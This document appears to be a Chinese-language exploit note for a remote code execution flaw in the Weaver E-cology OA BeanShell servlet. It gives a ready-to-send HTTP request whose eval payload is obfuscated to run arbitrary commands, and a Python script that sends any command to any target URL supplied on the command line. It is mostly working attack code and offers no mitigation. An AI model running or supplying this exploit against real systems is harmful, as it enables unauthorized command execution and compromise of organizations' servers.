泛微E-cology OA /weaver/ 代码执行漏洞

泛微E-cology OA /weaver/代码执行漏洞

泛微e-cology OA Beanshell组件远程代码执行

分析文章：https://dwz.cn/bYtnsKwa

http://127.0.0.1/weaver/bsh.servlet.BshServlet

若存在如上页面，则用下面数据包进行测试。

POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host:127.0.0.1:8080
Content-Length: 151
Cache-Control: max-age=0
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=abc17Hyv4HXw_6_hyXo1w; testBanCookie=test
Connection: close

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

Python脚本

python E-cology.py http://127.0.0.1/ whoami

#!/usr/bin/env python
import requests
import sys

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Content-Type': 'application/x-www-form-urlencoded'
}

def exploit(url,cmd):
    target=url+'/weaver/bsh.servlet.BshServlet'
    payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd)
    res=requests.post(url=target,data=payload,headers=headers,timeout=10)
    res.encoding=res.apparent_encoding
    print(res.text)

if __name__ == '__main__':
    url=sys.argv[1]
    cmd=sys.argv[2]
    exploit(url,cmd)